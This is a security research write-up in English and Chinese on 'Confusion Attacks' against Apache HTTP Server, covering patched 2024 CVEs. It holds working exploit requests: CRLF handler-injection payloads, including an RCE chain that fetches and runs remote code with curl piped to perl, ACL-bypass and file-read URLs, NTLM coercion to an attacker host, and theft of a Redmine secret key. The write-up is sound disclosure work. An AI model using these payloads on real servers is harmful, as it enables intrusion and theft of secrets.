<Location /server-status>
SetHandler server-status
    Require local
</Location>

With the ability to invoke any handler, it becomes possible to overwrite the Content-Type to access sensitive information that should not be accessible remotely:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

✔️ 3-2-2. Arbitrary Handler to Misinterpret Scripts

It’s also easy to transform an image with a legitimate extension into a PHP backdoor. For instance, this primitive allows specifying mod_php to execute embedded malicious code within the image, like:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/uploads/avatar.webp %0d%0a
Content-Type:application/x-httpd-php %0d%0a
%0d%0a

✔️ 3-2-2. Arbitrary Handler to Full SSRF

Calling the mod_proxy to access any protocol on any URL is, of course, straightforward:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://example.com/%3f %0d%0a
%0d%0a

Moreover, this is also a full-control SSRF where you can control all request headers and obtain all HTTP responses! A slight disappointment is when accessing Cloud Metadata, mod_proxy automatically adds an X-Forwarded-For header, which gets blocked by EC2 and GCP’s Metadata protection mechanisms, otherwise, this would be an even more powerful primitive.

✔️ 3-2-3. Arbitrary Handler to Access Local Unix Domain Socket

However, mod_proxy offers a more “convenient” feature — it can access local Unix Domain Sockets! 😉

Here’s a demonstration accessing PHP-FPM’s local Unix Domain Socket to execute a PHP backdoor located in /tmp/:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Theoretically, this technique has even more potential, such as protocol smuggling (smuggling FastCGI in HTTP/HTTPS protocols 😏) or exploiting other vulnerable local sockets. These possibilities are left for interested readers to explore.

✔️ 3-2-4. Arbitrary Handler to RCE

Finally, let’s demonstrate how to transform this primitive into an RCE using a common CTF trick! Since the official PHP Docker image includes PEAR, a command-line PHP package management tool, using its Pearcmd.php as an entry point allows us to achieve further exploitation. You can check this article — Docker PHP LFI Summary, written by Phith0n for details!

Here we utilize a Command Injection within run-tests to complete the entire exploit chain, detailed as follows:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

It’s common to see CRLF Injection or Header Injection being reported as XSS in Security Advisories or Bug Bounties. While it is true that these can sometimes chain to impactful vulnerabilities like Account Takeover through SSO, please don’t forget that they can also lead to Server-Side RCE, as this demonstration proves its potential!


🔥 4. Other Vulnerabilities

While this essentially covers the Confusion Attacks, some minor vulnerabilities discovered during our research of Apache HTTP Server are worth mentioning separately.


⚔️ CVE-2024-38472 - Windows UNC-based SSRF

Firstly, the Windows implementation of the apr_filepath_merge() function allows the use of UNC paths, which allows attackers to coerce NTLM authentication to any host. Here we list two different triggering paths:

✔️ Triggered via HTTP Request Parser

Direct triggering through an HTTP request parser in Httpd requires additional configuration, which might seem impractical at first glance but often appears with Tomcat (mod_jk, mod_proxy_ajp) or pairing with PATH_INFO:

AllowEncodedSlashesOn

Additionally, since Httpd rewrote its core HTTP request parser logic after 2.4.49, triggering the vulnerability in versions above requires an additional configuration:

AllowEncodedSlashesOn
MergeSlashes Off

By using two %5C can force Httpd to coerce NTLM authentication to an attacker-server, and practically, this SSRF can be converted into RCE through NTLM Relay!

$ curl http://server/%5C%5Cattacker-server/path/to

✔️ Triggered via Type-Map

In the Debian/Ubuntu distribution of Httpd, Type-Map is enabled by default:

AddHandler type-map var

By uploading a .var file to the server and setting the URI field to a UNC path, you can also force the server to coerce NTLM authentication to the attacker. This is also the second .var trick I proposed. 😉


⚔️ CVE-2024-39573 - SSRF via Full Control of RewriteRule Prefix

Lastly, when you have full control over the prefix of a RewriteRule substitution target in Server Config or VirtualHost is fully controllable, you can invoke mod_proxy and its sub-modules:

RewriteRule ^/broken(.*) $1

Using the following URL can delegate the request to mod_proxy for processing:

$ curl http://server/brokenproxy:unix:/run/[...]|http://path/to

But if administrators have tested the rule properly, they would realize that such rules are impractical. Thus, originally it was reported along with another vulnerability as an exploit chain, but this behavior was also treated as a security boundary fix by the security team. As the patches came out, other researchers applied the same behavior to Windows UNC and obtained another additional CVE.


Future Works

Finally, let’s talk about future works and areas for improvement in this research. Confusion Attacks are still a very promising attack surface, especially since my research focused mainly on just two fields. Unless the Apache HTTP Server undergoes architectural improvements or provides better development standards, I believe we’ll see more “confusions” in the future!

So, what other areas could be enhanced? In reality, different Httpd distributions have different configurations, so other Unix-Like systems such as the RHEL series, BSD family, and even applications that utilize Httpd might have more escapable RewriteRule, more powerful local gadgets, and unexpected symbolic jumps. These are all left for those interested to continue exploring.

Due to time constraints, I was unable to share more real-world cases found and exploited in actual websites, devices, or even open-source projects. However, you can probably imagine — the real world is still full of countless unexplored rules, bypassable authentications, and hidden CGIs waiting to be uncovered. How to hunt these techniques worldwide? That’s your mission!


Conclusion

Maintaining an open-source project is truly challenging, especially when trying to balance user convenience with the compatibility of older versions. A slight oversight can lead to the entire system being compromised, such as what happened with Httpd 2.4.49, where a minor change in path processing logic led to the disastrous CVE-2021-41773. The entire development process must be carefully built upon a pile of legacy code and technical debt. So, if any Apache HTTP Server developers are reading this: Thank you for your hard work and contributions!


Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

$
0
0
Orange Tsai (@orange_8361)  |  繁體中文版本 |  English Version

嗨,這是我今年發表在 Black Hat USA 2024上針對 Apache HTTP Server 的研究。 此外,這份研究也將在 HITCONOrangeCon上發表,有興趣搶先了解可點此取得投影片:

Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

另外也謝謝來自 Akamai 的友善聯繫! 此份研究發表後第一時間他們也發佈了緩解措施 (詳情可參考 Akamai 的部落格)。


TL;DR

這篇文章探索了 Apache HTTP Server 中存在的架構問題,介紹了數個 Httpd 的架構債,包含 3 種不同的 Confusion Attacks、9 個新漏洞、20 種攻擊手法以及超過 30 種案例分析。 包括但不限於:

  1. 怎麼使用一個 ?繞過 Httpd 內建的存取控制以及認證。
  2. 不安全的 RewriteRule怎麼跳脫 Web Root 並存取整個檔案系統。
  3. 如何利用一段從 1996 遺留至今的程式碼把一個 XSS 轉化成 RCE。


大綱


在故事之前

這裡純粹是一些個人的 Murmur,如果只對技術細節感興趣可以直接跳到 —— 故事是如何開始的?

身為一名研究員、最大的快樂應該就是當自己的作品被同行關注並理解。所以當完成一個作品並擁有豐碩的成果後,理所當然會想要讓它被世界看到 —— 這也是為什麼我會多次在 Black Hat USA 以及 DEFCON 上分享的緣故。 在讀這篇文章的你也許知道,我從 2022 後就拿不到一個合法的簽證進入美國 (在免簽計畫中的台灣,通常只需要線上申請,數分鐘到數小時內就能取得旅行授權),導致錯過 Black Hat USA 2022的實體演講。甚至 2023 到秘魯還有復活節島獨旅也無法從美國轉機 :(

為了解決這個情況,我從今年一月就開始準備 B1/B2 簽證、撰寫各式文件、到大使館面試以及漫無止盡的等待,這不是一件好玩的事,但為了讓作品被看到,還是花了非常多的時間在為了簽證奔波,以及尋求各種可能,甚至到會議開始的前三個禮拜,還不清楚發表是否會被取消 (BH 一開始只接受現場演講,不過謝謝審稿委員對這份研究的認可最終還是能透過預錄的形式發表),所以你所看到的所有內容包含投影片、錄影以及部落格文字都是在短短數十天內完成的。 😖

我只是一個單純的研究員,自認問心無愧,對漏洞的態度也始終是 —— 漏洞就該讓它被廠商知道以及修復。 寫這些文字也不為了什麼,純粹紀錄下一些無奈的心情、今年所做過的努力,以及謝謝在這個過程中幫助過我的人,謝謝你們 :)


故事是如何開始的?

大概是在今年年初的時候,我開始思考下一個研究的目標,也許你知道我總是希望挑戰那些影響整個網際網路的大目標,所以開始尋找一些看似複雜的主題或有趣的開源專案,例如 Nginx、PHP、甚至開始看起 RFC 來強化自己對於協議實作細節的認知。

雖然大部分的嘗試都以失敗告終 (不過有些也許會變成下一篇部落格主題 😉),但在細細品嘗這些程式碼時,我回憶起了曾經在去年年中短暫看過 Apache HTTP Server 原始碼這件事! 儘管最終由於工作的時程規畫並無深入的閱讀程式碼,但在那時就已經從它的編碼風格上「聞」到了一些不太好的味道。

於是在今年決定繼續下去,把「為什麼聞起來怪怪的」這件事從原本只是一個說不出的「感覺」具象化,深入下去研究 Apache HTTP Server!


為什麼 Apache HTTP Server 聞起來臭臭的?

首先,Apache HTTP Server 是一個由「模組們」建構起來的世界,從它官方文件中也看到其對於自身模組化 (MPMs - Multi-Processing Modules) 的自豪:

Apache httpd has always accommodated a wide variety of environments through its modular design. […] Apache HTTP Server 2.0 extends this modular design to the most basic functions of a web server.

整個 Httpd 的服務需要由數百個小模組齊心合力,共同合作才能完成客戶端的 HTTP 請求,官方所列出的 136 個模組其中約有快一半是預設啟用或經常被使用的模組

而更令人驚訝的是,這麼多模組在處理客戶端 HTTP 請求的時候,彼此之間還要共同維護著一份非常巨大的 request_rec結構。 這個結構包括了在處理 HTTP 時會用到的一切元素,詳細的定義可以從 include/httpd.h中找到。 所有模組都依賴這個巨大的結構去同步、溝通,甚至交換資料。 這個內部結構會像是拋接球般在所有模組間傳遞來傳遞去,每個模組都可以根據自己的喜好去隨意修改這個結構上的任意值!

這樣子的合作方式從軟體工程的角度來說其實不是什麼新鮮事,個體只需專心把份內事完成,只要所有人都乖乖完成自己的工作,那客戶就可以正常享受 Httpd 所提供的服務。 這樣子的分工在數個模組內可能還沒什麼問題,但如果今天把規模放大到數百個模組間的協同合作 —— 它們真的有辦法好好合作嗎?🤔

所以我們的出發點很簡單 —— 模組間其實並不完全了解彼此的實作細節,但卻又被要求要一起合作。 每個模組可能由不同的開發者實作,程式碼歷經多年的疊代、重整以及修改,它們真的還清楚自己在做什麼嗎? 就算對自己瞭若指掌,那對其它模組呢? 在缺乏一個好的開發標準或使用準則下,這中間必然會存在很多小縫隙是我們可以利用的!


關於這次的新攻擊面: Confusion Attacks

基於前面的思考,我們開始專注在研究這些模組間的「關係」以及「交互作用」。 如果有一個模組不小心修改到了它覺得不重要但對另一個模組至關重要的結構欄位,那可能就會影響該模組的判斷。 甚至更進一步,如果 Apache HTTP Server 對這些結構的定義不夠精確,導致不同模組對同一個欄位在理解上有著根本的不一致,這都可能產生安全上的風險!

從這個出發點我們發展出了三種不同的攻擊,由於這些攻擊或多或少都模組對於結構欄位的誤用有關,因此把這個攻擊面命名為「Confusion Attack」,而以下是我們所發展出的攻擊:

  1. Filename Confusion
  2. DocumentRoot Confusion
  3. Handler Confusion

從這些攻擊出發我們找到了 9 個不同的漏洞:

  1. CVE-2024-38472 - Apache HTTP Server on Windows UNC SSRF
  2. CVE-2024-39573 - Apache HTTP Server proxy encoding problem
  3. CVE-2024-38477 - Apache HTTP Server: Crash resulting in Denial of Service in mod_proxy via a malicious request
  4. CVE-2024-38476 - Apache HTTP Server may use exploitable/malicious backend application output to run local handlers via internal redirect
  5. CVE-2024-38475 - Apache HTTP Server weakness in mod_rewrite when first segment of substitution matches filesystem path
  6. CVE-2024-38474 - Apache HTTP Server weakness with encoded question marks in backreferences
  7. CVE-2024-38473 - Apache HTTP Server proxy encoding problem
  8. CVE-2023-38709 - Apache HTTP Server: HTTP response splitting
  9. CVE-2024-?????? - [redacted]

這些漏洞都透過官方的安全信箱回報,並由 Apache HTTP Server 團隊在 2024-07-01 發佈安全性通報以及 2.4.60 更新 (詳細可參考官方公告)。

由於這是一個針對 Httpd 架構以及其內部機制所帶來的新攻擊面,理所當然第一個參與的人可以找到最多漏洞,因此我也是目前擁有最多 Apache HTTP Server CVE 的人 😉,導致很多更新修復由於其歷史架構無法向下兼容。 所以對於很多運行許久的正式伺服器來說修復並不是一件容易的事,若網站管理員不經思考就直接更新反而會打破許多舊有的設定造成服務中斷。 😨

接下來就開始介紹這次發展出來的攻擊們吧!


🔥 1. Filename Confusion

首先,第一個是基於 Filename 欄位上的 Confusion,從字面上來看 r->filename應該是一個檔案系統路徑,然而在 Httpd 中,有些模組會把它當成網址來處理。 如果在 HTTP 請求的上下文中,有些模組把 r->filename當成檔案路徑,而其他模組將它當成網址,這其中的不一致就會造成安全上的問題!


⚔️ Primitive 1-1. Truncation

所以哪些模組會把 r->filename當成網址呢? 首先是 mod_rewrite允許網站管理員透過 RewriteRule語法輕鬆的將路徑透過指定的規則改寫:

RewriteRule Pattern Substitution [flags]

其中目標可以是一個檔案系統路徑或是一個網址,我想這應該是一個為了使用者體驗所做出的方便,但同時這個「方便」也帶出了一些風險,例如在改寫路徑時,mod_rewrite會強制把結果視為網址處理 (splitout_queryargs()),這導致了在 HTTP 請求中可以透過一個問號 %3F去截斷 RewriteRule後面的路徑或網址,並引出以下兩種攻擊手法。

Path: modules/mappers/mod_rewrite.c#L4141

/*
 * Apply a single RewriteRule
 */staticintapply_rewrite_rule(rewriterule_entry*p,rewrite_ctx*ctx){ap_regmatch_tregmatch[AP_MAX_REG_MATCH];apr_array_header_t*rewriteconds;rewritecond_entry*conds;// [...]for(i=0;i<rewriteconds->nelts;++i){rewritecond_entry*c=&conds[i];rc=apply_rewrite_cond(c,ctx);// [...] do the remaining stuff}/* Now adjust API's knowledge about r->filename and r->args */r->filename=newuri;if(ctx->perdir&&(p->flags&RULEFLAG_DISCARDPATHINFO)){r->path_info=NULL;}splitout_queryargs(r,p->flags);// <------- [!!!] Truncate the `r->filename`// [...]}
✔️ 1-1-1. Path Truncation

首先,第一個攻擊手法是檔案系統路徑上的截斷,想像下面這個 RewriteRule

RewriteEngineOnRewriteRule"^/user/(.+)$""/var/user/$1/profile.yml"

伺服器會根據網址路徑 /user/後的使用者名稱開啟相對應的個人設定檔案,例如:

$ curl http://server/user/orange
 # the output of file `/var/user/orange/profile.yml`

由於 mod_rewrite會強制將重寫後的結果當成一個網址處理,因此雖然目標是一個檔案系統路徑,但卻可以透過一個問號去截斷後方的 /profile.yml例如:

$ curl http://server/user/orange%2Fsecret.yml%3F
 # the output of file `/var/user/orange/secret.yml`

這是我們的第一個攻擊手法 —— 路徑截斷。 對於這個攻擊手法的探索先稍稍停留在這邊,雖然目前看起來還只是一個小瑕疵,但請先記好它,因為這會在之後的攻擊中一再的出現,慢慢把這個看似無用的小破口撕裂開來! 😜

✔️ 1-1-2. Mislead RewriteFlag Assignment

截斷手法的第二個利用是誤導 RewriteFlag的設置,想像網站管理員透過下列的 RewriteRule去管理網站中路徑以及相對應模組:

RewriteEngineOnRewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

如果請求附檔名是 .php結尾則加上 mod_php相對應的處理器 (此外也可以是環境變數或是 Content-Type,關於標誌的詳細設定可參考官方的手冊 RewriteRule Flags)。

由於 mod_rewrite的截斷行為發生在正規表達式匹配後,因此惡意的攻擊者可以利用原本的規則,透過 ?RewriteFlag設定到不屬於它們的請求上。 例如上傳一個夾帶惡意 PHP 程式碼的 GIF 圖片並透過惡意請求將圖片當成後門執行:

$ curl http://server/upload/1.gif
 # GIF89a <?=`id`;>$ curl http://server/upload/1.gif%3fooo.php
 # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)


⚔️ Primitive 1-2. ACL Bypass

Filename Confusion 的第二個攻擊手法發生在 mod_proxy身上,相較前一個攻擊是無條件將目標當成網址處理,這次則是因為模組間對 r->filename的理解不一致所導致的認證及存取控制繞過

mod_proxy會將 r->filename當成網址這件事情其實很合理,因為原本 Proxy 的目的就是將請求「導向」到其它網址上,但安全往往就是單獨拿出來看沒問題,搭配在一起就出問題了! 特別是當大多數模組預設將 r->filename視為檔案系統路徑時,試想一下假設今天你使用基於檔案系統的存取控制模組,而現在 mod_proxy又會把 r->filename當成網址,這其中的不一致就可以導致存取控制或是認證被繞過!

一個經典的例子是,網站管理員透過 Files語法去對單一檔案加上限制,例如 admin.php

<Files"admin.php">
AuthTypeBasicAuthName"Admin Panel"AuthUserFile"/etc/apache2/.htpasswd"Require valid-user
</Files>

在預設安裝的 PHP-FPM 環境中,這種設定可以被直接繞過! 順道一提這也是 Apache HTTP Server 中最常見到的認證方式! 假設今天你瀏覽了這樣的網址:

http://server/admin.php%3Fooo.php

首先在這個網址的 HTTP 生命週期中,認證模組會將請求的檔案名稱與被保護的檔案進行比對,此時 r->filename欄位是 admin.php?ooo.php理所當然與 admin.php不符合,於是模組會認為當前請求不需要認證。 然而 PHP-FPM 的設定檔案又設定當收到結尾為 .php的請求時透過 SetHandler語法將請求轉交給 mod_proxy

Path: /etc/apache2/mods-enabled/php8.2-fpm.conf

# Using (?:pattern) instead of (pattern) is a small optimization that# avoid capturing the matching pattern (as $1) which isn't used here<FilesMatch".+\.ph(?:ar|p|tml)$">
SetHandler"proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost"</FilesMatch>

mod_proxy會將 r->filename重寫成以下網址並根據其中的協議呼叫子模組 mod_proxy_fcgi處理後續 FastCGI 協議的邏輯:

proxy:fcgi://127.0.0.1:9000/var/www/html/admin.php?ooo.php

由於這時後端在收到檔案名稱時已經是一個奇怪的格式了,PHP-FPM 只好對這個行為做特別處理,其中處理的邏輯如下:

Path: sapi/fpm/fpm/fpm_main.c#L1044

#define APACHE_PROXY_FCGI_PREFIX "proxy:fcgi://"
#define APACHE_PROXY_BALANCER_PREFIX "proxy:balancer://"if(env_script_filename&&strncasecmp(env_script_filename,APACHE_PROXY_FCGI_PREFIX,sizeof(APACHE_PROXY_FCGI_PREFIX)-1)==0){/* advance to first character of hostname */char*p=env_script_filename+(sizeof(APACHE_PROXY_FCGI_PREFIX)-1);while(*p!='\0'&&*p!='/'){p++;/* move past hostname and port */}if(*p!='\0'){/* Copy path portion in place to avoid memory leak.  Note
         * that this also affects what script_path_translated points
         * to. */memmove(env_script_filename,p,strlen(p)+1);apache_was_here=1;}/* ignore query string if sent by Apache (RewriteRule) */p=strchr(env_script_filename,'?');if(p){*p=0;}}

可以看到 PHP-FPM 先對檔案名稱正規化並對其中的問號 ?進行分隔取出其中實際的檔案路徑並執行 (也就是 /var/www/html/admin.php)。 所以基本上所有使用 Files語法針對單一 PHP 檔案的認證或是存取控制設定在運行 PHP-FPM 的情境下都存在風險!😮

從 GitHub 上可以找到非常多潛在有風險的設定,例如被限制在只有內網才能存取的 phpinfo()

# protect phpinfo, only allow localhost and local network access<Files php-info.php>
# LOCAL ACCESS ONLY# Require local # LOCAL AND LAN ACCESSRequire ip 10 172 192.168
</Files>

使用 .htaccess阻擋起來的 Adminer:

<Files adminer.php>
Order Allow,Deny
    Denyfromall</Files>

被保護起來的 xmlrpc.php

<Files xmlrpc.php>
Order Allow,Deny
    Denyfromall</Files>

防止直接存取的命令行工具:

<Files"cron.php">
Denyfromall</Files>

透過認證模組以及 mod_proxy間對 r->filename欄位理解的不一致,上面所有的例子都可以透過一個 ?成功繞過!


🔥 2. DocumentRoot Confusion

接下來要介紹的攻擊是基於 DocumentRoot 上的 Confusion Attack! 首先你可以思考一下,對於下面這樣子的 Httpd 設定:

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

當瀏覽 http://server/html/about時,到底實際 Httpd 會開啟哪個檔案? 是根目錄下的 /about.html還是 DocumentRoot 下的 /var/www/html/about.html呢?

答案是 —— 兩個路徑都會存取。 這也是我們的第二個 Confusion Attack,對於任意[1]RewriteRule,Httpd 總是會嘗試開啟帶有 DocumentRoot 的路徑以及沒有的路徑!有趣吧 😉

[1] 位於 Server ConfigVirtualHost Block

Path: modules/mappers/mod_rewrite.c#L4939

if(!(conf->options&OPTION_LEGACY_PREFIX_DOCROOT)){uri_reduced=apr_table_get(r->notes,"mod_rewrite_uri_reduced");}if(!prefix_stat(r->filename,r->pool)||uri_reduced!=NULL){// <------ [1] access without rootintres;char*tmp=r->uri;r->uri=r->filename;res=ap_core_translate(r);// <------ [2] access with rootr->uri=tmp;if(res!=OK){rewritelog((r,1,NULL,"prefixing with document_root of %s"" FAILED",r->filename));returnres;}rewritelog((r,2,NULL,"prefixed with document_root to %s",r->filename));}rewritelog((r,1,NULL,"go-ahead with %s [OK]",r->filename));returnOK;}

當然絕大部分的情況是目標檔案不存在,於是 Httpd 會存取帶有 DocumentRoot 的版本,但這個行為已經讓我們能夠「故意的」去存取 Web Root 以外的路徑,如果今天可以控制 RewriteRule的目標前綴那我們是不是就能瀏覽作業系統上的任意檔案了?這也是我們第二個 Confusion Attack 的精神! 從 GitHub 中可以找到千千萬萬個有問題的寫法,有趣的是甚至連官方的範例文件都是易遭受攻擊的:

# Remove mykey=???RewriteCond"%{QUERY_STRING}""(.*(?:^|&))mykey=([^&]*)&?(.*)&?$"RewriteRule"(.*)""$1?%1%3"

除此之外還有其它亦受影響的 RewriteRule例如基於快取需求或是將想副檔名隱藏起來的 URL Masking 規則:

RewriteRule"^/html/(.*)$""/$1.html"

或是想節省流量,嘗試使用壓縮版本的靜態檔案規則:

RewriteRule"^(.*)\.(css|js|ico|svg)""$1\.$2.gz"

將老舊的網站轉址到根目錄的規則:

RewriteRule"^/oldwebsite/(.*)$""/$1"

對所有 CORS 的預檢請求都回傳 200 OK 的規則:

RewriteCond %{REQUEST_METHOD} OPTIONSRewriteRule ^(.*)$ $1 [R=200,L]

理論上只要 RewriteRule的目標前綴可控,我們可以瀏覽幾乎整個檔案系統,但從前面的規則中發現還有一個限制我們必須跨過的,前面例子中所出現的副檔名如 .html以及 .gz的後綴都是讓我們沒那麼地自由的一個限制 —— 所以可以繞過這個限制嗎? 不知道有沒有人想起前面在 Filename Confusion 章節所介紹的路徑截斷,透過這兩個攻擊的結合,我們可以自由的瀏覽作業系統上的任意檔案!

接下來的範例都基於這個不安全的 RewriteRule來做示範:

RewriteEngineOnRewriteRule"^/html/(.*)$""/$1.html"


⚔️ Primitive 2-1. Server-Side Source Code Disclosure

首先來介紹 DocumentRoot Confusion 的第一個攻擊手法 —— 任意伺服器端程式碼洩漏

由於 Httpd 會根據當前目錄或是當前虛擬主機設定決定是否當成 Server-Side Script 處理,因此透過絕對路徑去存取目標程式碼可以混淆 Httpd 的邏輯導致洩漏原本該被當成程式碼執行的檔案內容。

✔️ 2-1-1. Disclose CGI Source Code

首先是洩漏伺服器端的 CGI 程式碼,由於 mod_cgi是透過 ScriptAlias將 CGI 目錄與所指定的 URL 前綴綁定起來,當使用絕對路徑直接瀏覽 CGI 時由於 URL 前綴變了,因此可以直接洩漏出檔案原始碼。

$ curl http://server/cgi-bin/download.cgi
 # the processed result from download.cgi$ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 # #!/usr/bin/perl# use CGI;# ...# # the source code of download.cgi
✔️ 2-1-2. Disclose PHP Source Code

接著是洩漏伺服器端的 PHP 程式碼,由於 PHP 的使用場景眾多,若只針對特定目錄或是虛擬主機套用 PHP 環境的話 (常見於網站代管服務),可以透過未啟用 PHP 的虛擬主機存取 PHP 檔案以洩漏原始碼!

例如 www.local以及 static.local兩個虛擬主機都託管在同一台伺服器上,www.local允許運行 PHP 而 static.local則純粹負責處理靜態檔案,因此可以透過下面的方式洩漏出 config.php內的敏感資訊:

$ curl http://www.local/config.php
 # the processed result (empty) from config.php$ curl http://www.local/var/www.local/config.php%3F -H"Host: static.local"# the source code of config.php


⚔️ Primitive 2-2. Local Gadgets Manipulation!

接下來是我們的第二個攻擊手法 —— Local Gadgets Manipulation

首先,在前面介紹到「瀏覽作業系統上的任意檔案」時不知道你有沒有好奇: 「欸那是不是一個不安全的 RewriteRule就可以存取到 /etc/passwd?」 對的 —— 但也不完全對。 蛤?

技術上來說確實伺服器會去檢查 /etc/passwd是否存在,但 Apach HTTP Server 內建的存取控制阻擋了我們的存取,這裡是 Apache HTTP Server 的設定檔模板內容

<Directory />
AllowOverrideNoneRequireall denied
</Directory>

會觀察到預設阻擋了根目錄 /的瀏覽 (Require all denied),然而實際上這就沒戲了嗎? 實際上再詳細追查各個 Httpd 的發行版會發現 Debian/Ubuntu作業系統預設允許了 /usr/share

<Directory /usr/share>
AllowOverrideNoneRequireall granted
</Directory>

所以我們的「任意檔案存取」似乎有點那麼地不任意。 不過我們打破原本只能瀏覽 DocumentRoot 的信任算是跨出很大的一步了。 接下來要做的事情就是「壓榨」這個目錄內的各種可能。 所有可利用的資源、目錄中現有的教學範例、說明文件、單元測試檔案,甚至伺服器上程式語言如 PHP、Python 甚至 PHP 的模組都有機會成為我們濫用的對象!

P.S. 當然上面只是基於 Ubuntu/Debian 作業系統發行的 Httpd 版本設定做解釋,實務上也有發現一些應用軟體直接把的根目錄的 Require all denied移除導致可以直接存取 /etc/passwd

✔️ 2-2-1. Local Gadget to Information Disclosure

首先來尋找看看這個目錄下是否存在這一些檔案是可以利用的。 首先是目標 Apache HTTP Server 如果安裝 websocketd這個服務的話,服務套件預設會在 /usr/share/doc/websocketd/examples/php/下放置一個範例 PHP 程式碼 dump-env.php,如果目標伺服器上存在 PHP 環境的話可以直接存取這個範例程式去洩漏敏感的環境變數。

另外如果目標同時安裝如 Nginx 或是 Jetty 的話,雖然 /usr/share理論上該是套件安裝時所存放的唯讀複本,但這些服務的預設 Web Root 就在 /usr/share下,因此也能透過這個攻擊手法去洩漏這些網頁應用的敏感資訊,例如 Jetty 上的 web.xml設定等等:

  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

這裡簡單展示一個透過存取 Davical套件所存在的 setup.php唯讀複本去洩漏 phpinfo()內容。

✔️ 2-2-2. Local Gadget to XSS

接著如何把這個攻擊手法轉化成 XSS 呢? 在 Ubuntu Desktop 環境中預設會安裝 LibreOffice 這套開源的辦公室應用,利用其中幫助文件的語言切換功能來完成 XSS。

Path: /usr/share/libreoffice/help/help.html

varurl=window.location.href;varn=url.indexOf('?');if(n!=-1){// the URL came from LibreOffice help (F1)varversion=getParameterByName("Version",url);varquery=url.substr(n+1,url.length);varnewURL=version+'/index.html?'+query;window.location.replace(newURL);}else{window.location.replace('latest/index.html');}

因此就算目標沒有部屬任何網頁應用,我們也可以利用一個不安全的 RewriteRule透過作業系統自帶的檔案來創造出 XSS。

✔️ 2-2-3. Local Gadget to LFI

至於任意檔案讀取呢? 如果目標伺服器上安裝了一些 PHP 甚至前端應用套件,例如 JpGraph、jQuery-jFeed 甚至 WordPress 或 Moodle 外掛,那麼它們自帶的使用教學或是除錯用程式碼都可以變成利用的對象,例如:

  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

這裡展示利用 jQuery-jFeed 所自帶的 proxy.php來讀取 /etc/passwd

✔️ 2-2-4. Local Gadget to SSRF

當然找到一個 SSRF 也不在話下,例如 MagpieRSS 提供了一個 magpie_debug.php檔案就是一個絕佳的小工具:

  • /usr/share/php/magpierss/scripts/magpie_debug.php
✔️ 2-2-5. Local Gadget to RCE

所以能 RCE 嗎? 別急我們先慢慢來! 首先這個攻擊手法已經可以把既有的攻擊面全部重新套用一次了,例如在某次開發過程中不小心被遺留下來 (甚至可能還是被第三方套件所依賴的) 的舊版本 PHPUnit,可以直接使用 CVE-2017-9841來執行任意程式碼,又或者是安裝完 phpLiteAdmin (由於是唯讀副本所以預設密碼是 admin),相信看到這邊會發現 Local Gadgets Manipulation 這個攻擊手法存在著無窮潛力,剩下只是發掘出更厲害以及更通用的小工具!


⚔️ Primitive 2-3. Jailbreak from Local Gadgets

看到這裡你可能會好奇: 「真的不能跳出 /usr/share嗎?」 當然可以,這也是要介紹的第三個攻擊手法 —— /usr/share中越獄!

Debian/Ubuntu的 Httpd 發行版中預設開啟了 FollowSymLinks選項,就算非 Debian/Ubuntu 發行版但 Apache HTTP Server 也隱含地預設允許符號連結

<Directory />
OptionsFollowSymLinksAllowOverrideNoneRequireall denied
</Directory>
✔️ 2-3-1. Jailbreak from Local Gadgets

因此只要有套件在它的安裝目錄下符號連結到 /usr/share外,這個符號連結就成為一個跳板去存取更多的小工具完成更多的利用。 這裡列出一些我們已經發現可利用的符號連結:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/
✔️ 2-3-2. Jailbreak Local Gadgets to Redmine RCE

越獄攻擊手法的最後讓我們展示一個利用 Redmine 的雙層符號連結跳躍去完成 RCE 的例子。 在預設安裝的 Redmine 程式碼目錄中有個 instances/目錄指向 /var/lib/redmine/,而位於 /var/lib/redmine/下的 default/config/目錄又指向 /etc/redmine/default/資料夾,裡面存放著 Redmine 的資料庫設定以及應用程式私密金鑰。

$ file /usr/share/redmine/instances/
 symbolic link to /var/lib/redmine/
$ file /var/lib/redmine/config/
 symbolic link to /etc/redmine/default/
$ ls /etc/redmine/default/
 database.yml    secret_key.txt

於是透過一個不安全的 RewriteRule以及兩層符號連結,我們能夠輕鬆存取到 Redmine 所使用的應用程式金鑰:

$ curl http://server/html/usr/share/redmine/instances/default/config/secret_key.txt%3f
 HTTP/1.1 200 OK
 Server: Apache/2.4.59 (Ubuntu) 
 ...
 6d222c3c3a1881c865428edb79a74405

而 Redmine 又是基於 Ruby on Rails 所開發的應用程式,其中 secret_key.txt的內容其實正是其簽章加密所使用到的金鑰,接下來的流程相信對熟悉攻擊 RoR 的同學應該不陌生,透過已知的金鑰將惡意 Marshal 物件簽章加密後嵌入 Cookie,接著透過伺服器端的反序列化最終實現遠端程式碼執行!


🔥 3. Handler Confusion

